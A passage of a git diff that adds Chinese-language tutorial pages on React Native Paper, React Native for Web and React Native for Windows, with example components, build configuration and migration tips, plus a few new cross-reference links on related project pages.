+    secondary: '#625B71',
+  },
+};
+
+const brandDark = {
+  ...MD3DarkTheme,
+  colors: {
+    ...MD3DarkTheme.colors,
+    primary: '#D0BCFF',
+    secondary: '#CCC2DC',
+  },
+};
+
+export default function Root() {
+  const scheme = useColorScheme();
+  const paperTheme = scheme === 'dark' ? brandDark : brandLight;
+
+  const { LightTheme, DarkTheme } = adaptNavigationTheme({
+    reactNavigationLight: DefaultTheme,
+    reactNavigationDark: DefaultTheme,
+  });
+  const navTheme = scheme === 'dark' ? DarkTheme : LightTheme;
+
+  return (
+    <PaperProvider theme={paperTheme}>
+      <NavigationContainer theme={navTheme}>
+        <App />
+      </NavigationContainer>
+    </PaperProvider>
+  );
+}
+```
+
+要点：
+
+- 基于 `MD3LightTheme` / `MD3DarkTheme` **展开合并**，只覆盖需要改的 `colors`，避免漏掉 MD3 必需的 token
+- `useColorScheme()` 跟随系统深/浅色；也可接自己的主题开关 state
+- `adaptNavigationTheme` 让 React Navigation 的 header / tab 颜色与 Paper 主题一致，减少「导航栏一种紫、按钮另一种紫」的割裂感
+
+### 案例 2：登录表单 — TextInput、Button、Helper 文本
+
+```tsx
+import { useState } from 'react';
+import { View, StyleSheet } from 'react-native';
+import {
+  TextInput,
+  Button,
+  Text,
+  HelperText,
+  Surface,
+} from 'react-native-paper';
+
+export function LoginScreen() {
+  const [email, setEmail] = useState('');
+  const [password, setPassword] = useState('');
+  const [secure, setSecure] = useState(true);
+  const [loading, setLoading] = useState(false);
+
+  const emailError = email.length > 0 && !email.includes('@');
+
+  async function handleLogin() {
+    setLoading(true);
+    try {
+      await signIn(email, password);
+    } finally {
+      setLoading(false);
+    }
+  }
+
+  return (
+    <Surface style={styles.container} elevation={1}>
+      <Text variant="headlineSmall" style={styles.title}>
+        登录
+      </Text>
+
+      <TextInput
+        label="邮箱"
+        value={email}
+        onChangeText={setEmail}
+        keyboardType="email-address"
+        autoCapitalize="none"
+        error={emailError}
+        mode="outlined"
+      />
+      <HelperText type="error" visible={emailError}>
+        请输入有效邮箱
+      </HelperText>
+
+      <TextInput
+        label="密码"
+        value={password}
+        onChangeText={setPassword}
+        secureTextEntry={secure}
+        right={
+          <TextInput.Icon
+            icon={secure ? 'eye-off' : 'eye'}
+            onPress={() => setSecure((s) => !s)}
+          />
+        }
+        mode="outlined"
+      />
+
+      <Button
+        mode="contained"
+        loading={loading}
+        disabled={!email || !password || emailError}
+        onPress={handleLogin}
+        style={styles.button}
+      >
+        进入
+      </Button>
+    </Surface>
+  );
+}
+
+const styles = StyleSheet.create({
+  container: { margin: 16, padding: 24, borderRadius: 12 },
+  title: { marginBottom: 16 },
+  button: { marginTop: 24 },
+});
+```
+
+要点：
+
+- `TextInput` 的 `mode="outlined"` / `"flat"` 对应 Material 描边与填充两种风格
+- `HelperText` 与 `error` prop 联动，比手写红色 `<Text>` 更符合 MD 规范
+- `Button` 的 `loading` 会自动显示 `ActivityIndicator` 并禁用重复点击
+- `Text variant="headlineSmall"` 使用主题 typescale，而不是硬编码 `fontSize`
+
+### 案例 3：Snackbar 全局反馈
+
+```tsx
+import { useState } from 'react';
+import { Button, Snackbar } from 'react-native-paper';
+
+export function SaveExample() {
+  const [visible, setVisible] = useState(false);
+
+  return (
+    <>
+      <Button mode="contained-tonal" onPress={() => setVisible(true)}>
+        保存草稿
+      </Button>
+      <Snackbar
+        visible={visible}
+        onDismiss={() => setVisible(false)}
+        action={{ label: '撤销', onPress: () => {} }}
+        duration={4000}
+      >
+        已保存
+      </Snackbar>
+    </>
+  );
+}
+```
+
+实际项目里常把 Snackbar 状态提到 Context 或 Zustand，避免每个屏幕各自维护 `visible`。
+
+## 常用组件速查
+
+| 组件 | 典型用途 |
+|------|----------|
+| `Appbar.Header` / `Appbar.Action` | 顶栏、返回、菜单 |
+| `FAB` / `FAB.Group` | 主操作悬浮按钮 |
+| `Card` | 信息块、列表项容器 |
+| `Chip` / `SegmentedButtons` | 标签、筛选、分段控制 |
+| `Dialog` / `Portal` | 模态确认 |
+| `Menu` / `Dropdown` | 溢出菜单 |
+| `List.Item` / `List.Section` | 设置页、分组列表 |
+| `DataTable` | 简单表格 |
+| `ProgressBar` / `ActivityIndicator` | 加载与进度 |
+| `Switch` / `Checkbox` / `RadioButton` | 表单控件 |
+
+完整列表见官方文档：https://callstack.github.io/react-native-paper/docs/components/ActivityIndicator
+
+## 常见坑与排查
+
+1. **忘记包 `PaperProvider`**  
+   症状：组件样式全乱、控制台报 theme 相关 warning。解决：在导航和 Redux 内层包上 Provider。
+
+2. **Modal 内主题/Redux 丢失**  
+   Modal 渲染在独立子树。Redux Provider 必须在 Paper **外层**；若自定义 Modal 内 Paper 组件无主题，用 `ThemeProvider` 再注入一次或用 `withTheme` 传 `theme` prop。
+
+3. **图标不显示（裸 RN）**  
+   需安装 `react-native-vector-icons` 并按平台 link；Expo 无此问题。
+
+4. **Reanimated 版本不匹配**  
+   动画组件异常或构建失败。用 Expo 的 `npx expo install` 或对照 Paper 文档的最低版本要求。
+
+5. **MD2 老项目升级**  
+   检查 breaking changes（`Provider` 改名为 `PaperProvider`、`accent` 色改为 `secondary` 等）。可暂时 `theme={{ version: 2, ...MD2LightTheme }}` 过渡。
+
+6. **与 Tailwind / NativeWind 混用**  
+   可以共存，但同一元素不要既用 Paper 的 `style` 又用 className 抢布局；建议布局用 RN `StyleSheet`，视觉 token 用 Paper theme。
+
+## 与生态的关系
+
+- **Callstack**：React Native 商业支持与开源的核心团队，Paper 是其开源门面之一
+- **Expo**：无额外配置即可使用 Paper；Snack 上有官方 v5 示例项目
+- **React Navigation**：推荐 `adaptNavigationTheme` 统一主题
+- **Material Theme Builder**：导出 JSON 后可映射到 `theme.colors`
+- **竞品参考**：NativeBase（更通用）、React Native Elements（更轻）、Tamagui（性能 / 编译向）
+
+## 学习路径建议
+
+1. 跑通 `PaperProvider` + 一个 `Button` + 一个 `TextInput`（30 分钟）
+2. 读官方 Theming 指南，改 `primary` 色并开深色模式（1 小时）
+3. 用 `Card` + `List` + `Appbar` 拼一个设置页（半天）
+4. 接 React Navigation，做带 FAB 的列表详情流（1 天）
+5. 读 `react-native-paper/babel` 优化生产包体积（按需）
+
+## 小结
+
+React Native Paper 把 Material Design 3 翻译成 RN 可直接使用的组件与主题系统。**`PaperProvider` + MD3 theme token + 语义化 `mode`** 是三个支点；其余是在此之上选 Card、Dialog、Snackbar 等标准件。对需要快速做出「像 Google 出品」的跨平台 App 的开发者，Paper 是最省心的起点之一。
diff --git a/src/content/docs/projects/react-native-web.md b/src/content/docs/projects/react-native-web.md
new file mode 100644
index 000000000..f9d91e93d
--- /dev/null
+++ b/src/content/docs/projects/react-native-web.md
@@ -0,0 +1,248 @@
+---
+title: React Native for Web — 用 RN 组件写浏览器页面
+来源: https://github.com/necolas/react-native-web
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+provenance: pipeline-v3
+---
+
+## 是什么
+
+React Native for Web（简称 RN Web）是 Nicolas Gallagher 维护的**兼容层**：它让 React Native 的组件 API（`View`、`Text`、`Pressable` 等）在浏览器里通过 React DOM 正确渲染。日常类比：你有一套「宜家说明书」（React Native 代码），原本只能组装成 iOS/Android 家具；RN Web 相当于多给了一份「网页版适配说明书」——零件名字不变，但最终装出来的是能在 Chrome 里打开的页面。
+
+它和 React Native 的关系不是「把网页套壳」，而是**反向**——把移动端的组件语义映射到 DOM + CSS：
+
+```jsx
+import { View, Text, StyleSheet } from 'react-native';
+
+export default function Hello() {
+  return (
+    <View style={styles.box}>
+      <Text style={styles.title}>你好，Web</Text>
+    </View>
+  );
+}
+
+const styles = StyleSheet.create({
+  box: { flex: 1, justifyContent: 'center', alignItems: 'center' },
+  title: { fontSize: 24, fontWeight: '600' },
+});
+```
+
+在原生 App 里，这段代码走 Fabric/原生视图；在 Web 上，同一份 import 经 alias 后变成 `react-native-web`，`View` 渲染为带 flex 布局的 `div`，`Text` 渲染为 `span`/`div`，样式由 StyleSheet 转成优化的 CSS class。
+
+## 为什么重要
+
+不理解 RN Web，以下场景容易踩坑或选型失误：
+
+- **Expo / React Native 的 Web 入口**：Expo 默认 Web 支持背后就是 RN Web + Metro/Webpack；你以为在写「纯 RN」，浏览器端其实走的是这套兼容层
+- **一套代码三端**：Twitter、Flipkart 等曾用 RN Web 做增量迁移——先在 Web 复用 RN 组件，再逐步替换旧 React DOM 页面，而不是重写两套 UI
+- **样式心智模型不同**：RN 默认纵向 Flexbox、`View` 不能直接放字符串、`fontSize` 只能写在 `Text` 上——从传统 HTML/CSS 转过来的人会反复撞这些规则
+- **打包 alias 是必选项**：`import from 'react-native'` 在 Web 构建里必须 alias 到 `react-native-web`，否则 bundler 会拉原生 RN 包直接报错
+
+## 核心概念
+
+RN Web 的技术核心可以拆成五块：
+
+1. **兼容层，不是模拟器**：底层仍是 React DOM + 浏览器 DOM API。RN Web 实现 RN 组件的 props 语义（布局、事件、无障碍），并在 Web 平台可用时直接调用新 DOM API，体积和性能会持续随浏览器进化而改善。
+
+2. **核心组件集**：日常最常用 `View`（布局容器）、`Text`（文本，支持嵌套加粗/变色）、`Image`、`TextInput`、`ScrollView`、`Pressable`。交互走 RN 的 Gesture Responder 体系，在 Web 上映射为 pointer/touch 事件。
+
+3. **View 的布局默认值**：每个 `View` 默认是 **flex 列布局**（`flexDirection: 'column'`），且 `position: 'relative'`。这和 Web 里 `div` 的 block 默认行为不同——写 RN Web 时要主动用 flex 思考，而不是 float/Grid 老习惯。
+
+4. **Text 规则（最容易踩坑）**：
+   - **所有可见文字必须在 `<Text>` 里**，不能 `<View>hello</View>`
+   - **文字样式继承只在 Text 子树内**——不能给 `View` 设 `fontFamily` 指望子树全继承；推荐封装 `AppText` 组件统一字号/字体
+   - `View` 里嵌 `Text` 时，该 View 会按 inline 方式参与文本流
+
+5. **StyleSheet 与样式管线**：
+   - 用 `StyleSheet.create` 在组件外定义样式 → 运行时转成 **atomic CSS class**，去重、可静态提取、性能更好
+   - 动态样式（如运行时算的 `top/left`）通常走 inline style
+   - 样式对象是 JS 对象：数字无单位的值表示 dp/逻辑像素（Web 上多映射为 px），`paddingHorizontal` 等 RN 简写都支持
+   - 内置极小 CSS reset，其余样式按组件作用域生成，避免全局 CSS 污染
+
+6. **模块 alias 与 `.web.js`**：
+   - Bundler 里配置 `'react-native$': 'react-native-web'`，让业务代码继续 `from 'react-native'`
+   - 平台差异文件用扩展名：例如 `Button.web.js` / `Button.native.js`，Web 构建优先解析 `.web.js`
+   - Babel 可用 `babel-plugin-react-native-web` 做按需引入，减小 bundle
+
+7. **AppRegistry 启动 Web 应用**：原生 RN 用 `AppRegistry.registerComponent`；Web 还需 `AppRegistry.runApplication`，把 React 树挂到 HTML 里某个 DOM 节点（如 `#root`）。
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| React Native | RN Web 实现 RN 的跨平台组件契约；原生端仍用官方 RN，Web 端走 RN Web |
+| React DOM | RN Web 构建于 React DOM 之上，不是替代 React |
+| Expo | 官方推荐路径，Web 构建已集成 alias 与入口 |
+| Next.js | 可通过自定义 Webpack/Turbopack alias 接入；SSR 需额外配置（如 Node 端 `module-alias`） |
+| Tamagui / NativeWind | 常和 RN Web 联用，在 RN 样式模型上叠设计系统或 Tailwind |
+
+## 实践案例
+
+### 案例 1：最小 Web 入口（Webpack + alias）
+
+安装依赖：
+
+```bash
+npm install react-native-web react-dom
+npm install -D webpack webpack-cli webpack-dev-server html-webpack-plugin babel-loader
+```
+
+`webpack.config.js` 关键配置——**alias 是灵魂**：
+
+```js
+module.exports = {
+  entry: './index.web.js',
+  output: { filename: 'bundle.js', path: __dirname + '/dist' },
+  resolve: {
+    alias: {
+      'react-native$': 'react-native-web',
+    },
+    extensions: ['.web.js', '.web.jsx', '.js', '.jsx'],
+  },
+  module: {
+    rules: [
+      {
+        test: /\.(js|jsx)$/,
+        exclude: /node_modules/,
+        use: { loader: 'babel-loader', options: { presets: ['@babel/preset-react'] } },
+      },
+    ],
+  },
+};
+```
+
+`index.web.js` 把 App 挂到页面：
+
+```js
+import { AppRegistry } from 'react-native';
+import App from './App';
+
+AppRegistry.registerComponent('App', () => App);
+AppRegistry.runApplication('App', {
+  initialProps: {},
+  rootTag: document.getElementById('root'),
+});
+```
+
+`public/index.html` 里要有容器：
+
+```html
+<div id="root"></div>
+```
+
+**逐行理解**：`registerComponent` 登记根组件名；`runApplication` 在 Web 上等价于 `createRoot(...).render()`，但 API 与原生 RN 保持一致，便于同一份 `App.tsx` 多端复用。
+
+### 案例 2：Pressable 卡片 + StyleSheet 组合布局
+
+下面是一个典型 RN Web 页面片段：外层 `View` 做 flex 居中，内层 `Pressable` 响应点击，`Text` 嵌套实现标题/副标题不同样式：
+
+```jsx
+import { View, Text, Pressable, StyleSheet } from 'react-native';
+
+export function ProfileCard({ name, bio, onPress }) {
+  return (
+    <View style={styles.screen}>
+      <Pressable
+        style={({ pressed }) => [
+          styles.card,
+          pressed && styles.cardPressed,
+        ]}
+        onPress={onPress}
+        accessibilityRole="button"
+      >
+        <Text style={styles.name}>{name}</Text>
+        <Text style={styles.bio}>{bio}</Text>
+      </Pressable>
+    </View>
+  );
+}
+
+const styles = StyleSheet.create({
+  screen: {
+    flex: 1,
+    justifyContent: 'center',
+    alignItems: 'center',
+    backgroundColor: '#f5f5f5',
+  },
+  card: {
+    width: 320,
+    padding: 20,
+    borderRadius: 12,
+    backgroundColor: '#fff',
+    // RN Web 会生成对应 CSS；阴影在 Web 上映射为 box-shadow
+    shadowColor: '#000',
+    shadowOpacity: 0.1,
+    shadowRadius: 8,
+    elevation: 4,
+  },
+  cardPressed: {
+    opacity: 0.85,
+  },
+  name: {
+    fontSize: 20,
+    fontWeight: '700',
+    marginBottom: 8,
+  },
+  bio: {
+    fontSize: 14,
+    color: '#666',
+    lineHeight: 20,
+  },
+});
+```
+
+**要点**：
+
+- `Pressable` 的 `style` 可以是函数，根据 `pressed` 切换样式——Web 上对应 `:active` 类交互，但写法跨端统一
+- 阴影同时写 `shadow*`（iOS 语义）和 `elevation`（Android 语义），RN Web 会尽量映射到 CSS
+- 不要把 `bio` 字符串直接放在 `Pressable` 和 `Text` 之间，必须包在 `Text` 里
+
+### 案例 3：平台专属文件（`.web.js`）
+
+当 Web 需要不同实现（例如用 `localStorage` 而原生用 `AsyncStorage`）：
+
+```
+utils/storage.js        # 默认 / 原生
+utils/storage.web.js    # Web 构建优先命中
+```
+
+```js
+// utils/storage.web.js
+export async function getItem(key) {
+  return localStorage.getItem(key);
+}
+```
+
+Webpack `resolve.extensions` 把 `.web.js` 放在 `.js` 前面即可；Metro 对原生包同理识别 `.native.js`。
+
+## 常见坑与排查
+
+1. **「Text strings must be rendered within a `<Text>` component」**  
+   检查是否在 `View`/`Pressable` 下直接写了字符串或数字。
+
+2. **构建报错找不到 `react-native` 原生模块**  
+   检查 webpack/metro alias 是否为 `'react-native$': 'react-native-web'`（注意 `$` 表示精确匹配）。
+
+3. **样式在 Web 上「差一点」**  
+   RN 未实现的 CSS 属性会被忽略；复杂 Web-only 布局可写 `.web.js` 分支，或在该组件用 `Platform.OS === 'web'` 微调。
+
+4. **Bundle 体积偏大**  
+   启用 `babel-plugin-react-native-web` 按需引入；避免把整个 RN 生态无 alias 地打进 Web 包。
+
+5. **SSR / 预渲染**  
+   Node 端需 `module-alias` 把 `react-native` 指到 `react-native-web`，并在无 `document` 环境避免调用 `AppRegistry.runApplication`。
+
+## 学习路径建议
+
+1. **先会 React Native 基础**：`View`/`Text`/Flexbox/`StyleSheet`——见本库 [`react-native`](./react-native.md) 笔记  
+2. **用 Expo 开 Web**：`npx expo start --web`，观察同一 App 在浏览器如何运行  
+3. **读官方组件文档**：[necolas.github.io/react-native-web/docs](https://necolas.github.io/react-native-web/docs/) 每个组件有 live example  
+4. **理解 alias + AppRegistry**：自己用 Vite/Webpack 搭一次最小 demo，比只看 Expo 黑盒更扎实  
+5. **进阶**：无障碍 props、`pointerEvents`、RTL 布局（`I18nManager`）、与 React 18 并发特性配合
+
+## 小结
+
+React Native for Web 的价值在于：**用 RN 的组件与样式模型写 UI，同时触达浏览器**。它不是「在 Web 上跑 RN 二进制」，而是精心实现的 React DOM 渲染层。掌握 alias、`Text` 规则、Flex 默认列布局、`StyleSheet.create` 和 `AppRegistry.runApplication`，就能读懂 Expo Web、跨平台组件库和多数「一套代码多端」项目的 Web 那一半。
diff --git a/src/content/docs/projects/react-native-windows.md b/src/content/docs/projects/react-native-windows.md
new file mode 100644
index 000000000..c73bba057
--- /dev/null
+++ b/src/content/docs/projects/react-native-windows.md
@@ -0,0 +1,258 @@
+---
+title: React Native for Windows — 用 JavaScript 写原生 Windows 桌面应用
+来源: https://github.com/microsoft/react-native-windows
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+React Native for Windows（简称 RNW）是微软维护的 **React Native 官方 Windows 平台扩展**。日常类比：React Native 原本是一套「多国语言菜单」——同一份 JavaScript 菜谱，iOS 厨房做 iOS 菜、Android 厨房做 Android 菜；RNW 相当于在 Windows 餐厅里加了一间**本地厨房**，把 `<View>`、`<Text>` 这些 RN 指令翻译成 Windows 原生 UI（WinUI / XAML 控件），而不是塞进 WebView 里跑网页。
+
+和 React Web 的本质区别：
+
+| 维度 | React（Web） | React Native for Windows |
+|------|--------------|---------------------------|
+| 渲染目标 | 浏览器 DOM | Windows 原生控件 |
+| 运行环境 | Chrome / Edge | UWP / Win32 桌面进程 |
+| 样式模型 | CSS | Flexbox 风格的 StyleSheet |
+| 打包产物 | HTML + JS bundle | `.exe` / MSIX 安装包 |
+
+```jsx
+import { View, Text, Pressable, StyleSheet } from 'react-native';
+
+export default function App() {
+  return (
+    <View style={styles.container}>
+      <Text style={styles.title}>你好，Windows</Text>
+      <Pressable style={styles.btn} onPress={() => alert('来自 RNW')}>
+        <Text style={styles.btnText}>点我</Text>
+      </Pressable>
+    </View>
+  );
+}
+
+const styles = StyleSheet.create({
+  container: { flex: 1, justifyContent: 'center', alignItems: 'center' },
+  title: { fontSize: 28, fontWeight: '600', marginBottom: 16 },
+  btn: { backgroundColor: '#0078d4', paddingHorizontal: 24, paddingVertical: 12, borderRadius: 4 },
+  btnText: { color: '#fff', fontSize: 16 },
+});
+```
+
+这段代码在 iOS/Android 上走各自原生视图；在 Windows 上，RNW 的 Fabric 渲染器把它映射成 XAML 元素树——**看起来仍是 RN 写法，底下已是 Windows UI**。
+
+## 为什么重要
+
+不理解 RNW，以下场景容易选型失误或踩坑：
+
+- **「已有 RN 移动端，能否顺手做 Windows 桌面版？」**——可以，业务层 JS/TS 大量复用，但需单独 `init-windows` 生成 `windows/` 原生工程，不是自动就有
+- **和 Electron 怎么选？**——Electron 本质是 Chromium + Node；RNW 走原生控件，内存占用通常更低，和系统外观/无障碍集成更好，但生态和 Web 库兼容性不如 Electron
+- **架构大换血（2025–2026）**——RNW 0.80 起新应用默认 **New Architecture（Fabric）**；0.82 已**完全移除旧 Paper 渲染器**，升级前必须完成迁移
+- **开发机必须是 Windows**——构建、调试、签名都依赖 Visual Studio 2022 + Windows SDK；Mac 上只能写 JS，不能编译 Windows 包
+- **微软长期投入**——GitHub 17k+ stars，Office / Xbox 等内部场景有落地；与 [Fluent UI React Native](https://github.com/microsoft/fluentui-react-native) 组件库配套，适合企业风桌面 UI
+
+## 核心概念
+
+RNW 的心智模型可以拆成 **六块**：
+
+1. **平台包 `react-native-windows`**：npm 依赖，版本号与 `react-native` 主版本对齐（如 RN 0.80 配 `react-native-windows@0.80.x`）。它提供 Windows 原生桥接、Metro 配置扩展、CLI 子命令。
+
+2. **`windows/` 原生工程**：由 `react-native init-windows` 生成，内含 C++/WinRT 或（旧模板）C# UWP 项目、`.sln` 解决方案、NuGet 依赖。类比：这是 Windows 端的「厨房设备说明书」，JS 层不直接碰，但升级 RNW 时常需同步改这里。
+
+3. **New Architecture（Fabric + TurboModules）**：
+   - **Fabric**：新一代同步渲染器，替代旧 Paper；支持更 predictable 的布局与并发特性
+   - **TurboModules**：原生模块的 JSI 直连，减少异步 bridge 开销
+   - 0.76 首次预览 → 0.80 新应用默认 → **0.82 仅 Fabric，Paper 已删除**
+   - 旧项目**不能**靠一个开关启用，必须在 `init-windows` 时选 `--template cpp-app`（新）或 `old/uwp-cpp-app`（旧）
+
+4. **模板（Templates）**：
+   - `cpp-app`：新架构 C++ Win32 应用（推荐，预编译 NuGet，构建更快）
+   - `cpp-lib`：新架构 Turbo Module 库
+   - `old/uwp-cpp-app`：旧 Paper 架构（0.82 前遗留项目）
+   - 首次 `init-windows` 不传 `--template` 时，0.80+ 默认 `cpp-app`
+
+5. **CLI 工作流**：
+   - `npx react-native run-windows`：编译并启动 Windows 应用（Debug/Release）
+   - `npx react-native autolink-windows`：扫描 npm 依赖里带 Windows 实现的库并链接
+   - Metro bundler 仍负责打包 JS，与移动端同一套热重载体验
+
+6. **系统要求（2026 年主流环境）**：
+   - Windows 10/11，Node.js ≥ 18
+   - **Visual Studio 2022**（17.11+），工作负载「使用 C++ 的桌面开发」+ Windows 10/11 SDK（≥ 10.0.22621）
+   - 启用**开发者模式**（Settings → Privacy & security → For developers）
+   - CLI 通过 `vswhere` 查找 VS；Insiders 版 VS 2026 可能尚未被识别，需用正式 VS 2022
+
+## 从零创建第一个 RNW 应用
+
+官方推荐流程（以 RNW 0.80+ / Fabric 为例）：
+
+```bash
+# 1. 创建 RN 项目（版本与 RNW 对齐）
+npx @react-native-community/cli@latest init HelloWindows --version 0.80.0
+cd HelloWindows
+
+# 2. 添加 Windows 平台依赖
+yarn add react-native-windows@^0.80.0
+
+# 3. 生成 windows/ 原生工程（新架构模板）
+yarn react-native init-windows --template cpp-app --overwrite
+
+# 4. 运行
+npx react-native run-windows
+```
+
+成功后会弹出 Win32 窗口，Metro 终端支持 **Fast Refresh**——改 JS 保存即刷新，和移动端开发节奏一致。
+
+若需旧架构（仅维护遗留项目，0.82 前）：
+
+```bash
+yarn react-native init-windows --template old/uwp-cpp-app --overwrite
+```
+
+## 实践案例
+
+### 案例 1：带状态的 Windows 桌面计数器
+
+```jsx
+import { useState } from 'react';
+import { View, Text, Pressable, StyleSheet } from 'react-native';
+
+export default function Counter() {
+  const [count, setCount] = useState(0);
+
+  return (
+    <View style={styles.root}>
+      <Text style={styles.label}>Windows 计数器</Text>
+      <Text style={styles.count}>{count}</Text>
+      <View style={styles.row}>
+        <Pressable style={styles.btn} onPress={() => setCount((c) => c - 1)}>
+          <Text style={styles.btnText}>−</Text>
+        </Pressable>
+        <Pressable style={[styles.btn, styles.primary]} onPress={() => setCount((c) => c + 1)}>
+          <Text style={styles.btnText}>+</Text>
+        </Pressable>
+      </View>
+    </View>
+  );
+}
+
+const styles = StyleSheet.create({
+  root: { flex: 1, justifyContent: 'center', alignItems: 'center', backgroundColor: '#f3f3f3' },
+  label: { fontSize: 18, color: '#605e5c', marginBottom: 8 },
+  count: { fontSize: 48, fontWeight: '700', marginBottom: 24 },
+  row: { flexDirection: 'row', gap: 12 },
+  btn: { width: 56, height: 56, borderRadius: 28, backgroundColor: '#e1dfdd', justifyContent: 'center', alignItems: 'center' },
+  primary: { backgroundColor: '#0078d4' },
+  btnText: { fontSize: 24, color: '#fff' },
+});
+```
+
+**要点**：
+
+- `useState` 与 Web/React 完全一致；RNW 不负责状态管理，只负责把 JSX 变原生 UI
+- `flexDirection: 'row'` 在 Windows 上与 iOS 相同——RN 默认纵向 flex，行布局需显式指定
+- 键盘快捷键、窗口标题栏等系统行为可在 `windows/` 原生层或 `react-native-windows` 提供的 API 中扩展
+
+### 案例 2：调用 Windows 原生能力（Turbo Module 概念）
+
+许多能力已有社区模块（如 `@react-native-clipboard/clipboard`）；若需自定义原生代码，新架构下写 **Turbo Module**。JS 侧消费长这样：
+
+```tsx
+// NativeTimeModule.ts — JS 接口
+import { TurboModuleRegistry } from 'react-native';
+
+export interface Spec {
+  getLocalTime(): string;
+}
+
+export default TurboModuleRegistry.getEnforcing<Spec>('NativeTime');
+```
+
+```tsx
+// ClockScreen.tsx — 在组件里用
+import React, { useEffect, useState } from 'react';
+import { View, Text, StyleSheet } from 'react-native';
+import NativeTime from './NativeTimeModule';
+
+export function ClockScreen() {
+  const [time, setTime] = useState('');
+
+  useEffect(() => {
+    setTime(NativeTime.getLocalTime());
+    const id = setInterval(() => setTime(NativeTime.getLocalTime()), 1000);
+    return () => clearInterval(id);
+  }, []);
+
+  return (
+    <View style={styles.box}>
+      <Text style={styles.h1}>系统本地时间</Text>
+      <Text style={styles.time}>{time}</Text>
+    </View>
+  );
+}
+
+const styles = StyleSheet.create({
+  box: { flex: 1, justifyContent: 'center', alignItems: 'center' },
+  h1: { fontSize: 20, marginBottom: 12 },
+  time: { fontFamily: 'Consolas', fontSize: 32 },
+});
+```
+
+C++ 实现放在 `windows/` 工程内，通过 codegen 与 JS 绑定。完整步骤见官方 [Native Modules (TurboModules)](https://microsoft.github.io/react-native-windows/docs/native-modules) 文档。类比：Turbo Module 是「直通厨房的内部电话」，比旧 bridge 的「写纸条等回调」延迟更低。
+
+## 与相关技术的关系
+
+| 技术 | 关系 |
+|------|------|
+| React Native | RNW 是 RN 的 Windows 平台实现；共享 JS 运行时与组件模型 |
+| react-native-macos | 姊妹项目，同一 monorepo 生态，macOS 桌面端 |
+| Expo | 官方 Windows 支持仍在演进；复杂原生需求常用裸 RN + RNW |
+| Electron | 两者都做桌面；Electron = Web 技术栈，RNW = 原生控件 |
+| WinUI 3 / .NET MAUI | 微软原生 UI 框架；RNW 适合已有 RN 团队，MAUI 适合纯 C# 团队 |
+| Fluent UI React Native | 微软出品的 RN 跨平台 Fluent 组件，Windows 上体验最佳 |
+
+## Paper → Fabric 迁移要点
+
+若项目仍标注 `old/uwp-cpp-app` 或使用 Paper，升级到 RNW 0.82 **必须先迁移**：
+
+1. 备份 `windows/` 目录与 `package.json` 锁文件
+2. 升级 `react-native` 与 `react-native-windows` 到目标版本（如 0.80 → 0.82）
+3. 重新执行 `yarn react-native init-windows --template cpp-app --overwrite`（会覆盖原生工程）
+4. 手动合并自定义原生代码、应用 manifest、证书配置
+5. 跑通 `npx react-native run-windows`，对照 [Calculator 迁移示例](https://github.com/microsoft/react-native-windows-samples/tree/main/samples/Calculator) 排查差异
+
+微软提供 [Migration Guide](https://microsoft.github.io/react-native-windows/docs/migration-guide) 与 RNTester 对照应用；**React Native Gallery**（Microsoft Store 可下载）展示各组件在 Fabric 下的实际表现。
+
+## 常见问题
+
+**Q：能在 WSL 里编译吗？**  
+A：不推荐。RNW 依赖 MSBuild、VC++ 工具链和 Windows SDK，应在 Windows 本机或 Windows CI 代理上构建。
+
+**Q：和 UWP 商店发布的关系？**  
+A：新 `cpp-app` 模板面向 Win32；旧 UWP 模板仍可用于 Microsoft Store，但新功能优先投入 Fabric Win32 路径。发布前查当前版本 [打包文档](https://microsoft.github.io/react-native-windows/docs/publishing)。
+
+**Q：Expo 项目能直接加 RNW 吗？**  
+A：Expo 托管工作流以移动端为主；Windows 支持需 eject / prebuild 后手动集成 RNW，工程复杂度明显高于纯 Expo 工作流。
+
+**Q：调试工具？**  
+A：Chrome/Edge DevTools 调试 JS；原生层用 Visual Studio 附加到进程；Flipper 支持因版本而异，以官方文档为准。
+
+## 学习路径建议
+
+1. 先掌握 **React Native 基础**（组件、StyleSheet、导航）——RNW 不另起一套 JS API
+2. 在 Windows 本机走通 **Getting Started** 四步：init → add → init-windows → run-windows
+3. 安装 **React Native Gallery**，对照组件行为
+4. 阅读 **New Architecture** 文档，新项目直接用 `cpp-app`
+5. 有原生需求时再学 Turbo Module 与 `windows/` 工程结构
+
+## 资源
+
+- 官方文档：https://microsoft.github.io/react-native-windows/
+- GitHub：https://github.com/microsoft/react-native-windows
+- 示例仓库：https://github.com/microsoft/react-native-windows-samples
+- 微软 Learn 入门：https://learn.microsoft.com/en-us/windows/dev-environment/javascript/react-native-for-windows
+- 博客（版本发布）：https://devblogs.microsoft.com/react-native/
+- 快速链接：aka.ms/reactnative
diff --git a/src/content/docs/projects/react.md b/src/content/docs/projects/react.md
index 733a5a219..952162b36 100644
--- a/src/content/docs/projects/react.md
+++ b/src/content/docs/projects/react.md
@@ -187,6 +187,7 @@ function Greeting({ name }) {
 - [[i18next]] —— i18next — 让一份 JS 代码同时讲几十种语言
 - [[immer]] —— Immer — 用 Proxy 让你写"看起来可改"的代码却产出不可变状态
 - [[ink]] —— ink — 用 React 组件树写终端 CLI
+- [[inkscape]] —— Inkscape — 矢量图形编辑器
 - [[ionic-framework]] —— Ionic Framework — 用 Web 技术打包原生移动 App
 - [[kepler-gl]] —— kepler.gl — 拖拽式百万点 GIS 探索界面
 - [[label-studio]] —— Label Studio — 文本图像音视频时序通吃的标注王者
diff --git a/src/content/docs/projects/recharts.md b/src/content/docs/projects/recharts.md
index 864b32e4d..4e3f13d86 100644
--- a/src/content/docs/projects/recharts.md
+++ b/src/content/docs/projects/recharts.md
@@ -178,6 +178,7 @@ function CustomTooltip({ active, payload, label }) {
 - [[chart-js]] —— Chart.js — Canvas 渲染入门级图表
 - [[chartist]] —— Chartist — 极简 SVG 图表
 - [[d3]] —— D3.js — 不是图表库，是写图表库的乐高
+- [[deck-gl]] —— deck.gl — Uber 大规模数据可视化
 - [[echarts]] —— Apache ECharts — 给一个 JSON 就能画图的可视化库
 - [[frappe-gantt]] —— Frappe Gantt — 200 行 SVG 写出的甘特图
 - [[observable-plot]] —— Observable Plot — 你说想看哪两列的关系，库自己画图
diff --git a/src/content/docs/projects/redis.md b/src/content/docs/projects/redis.md
index 4fb6adf32..1091862a8 100644
--- a/src/content/docs/projects/redis.md
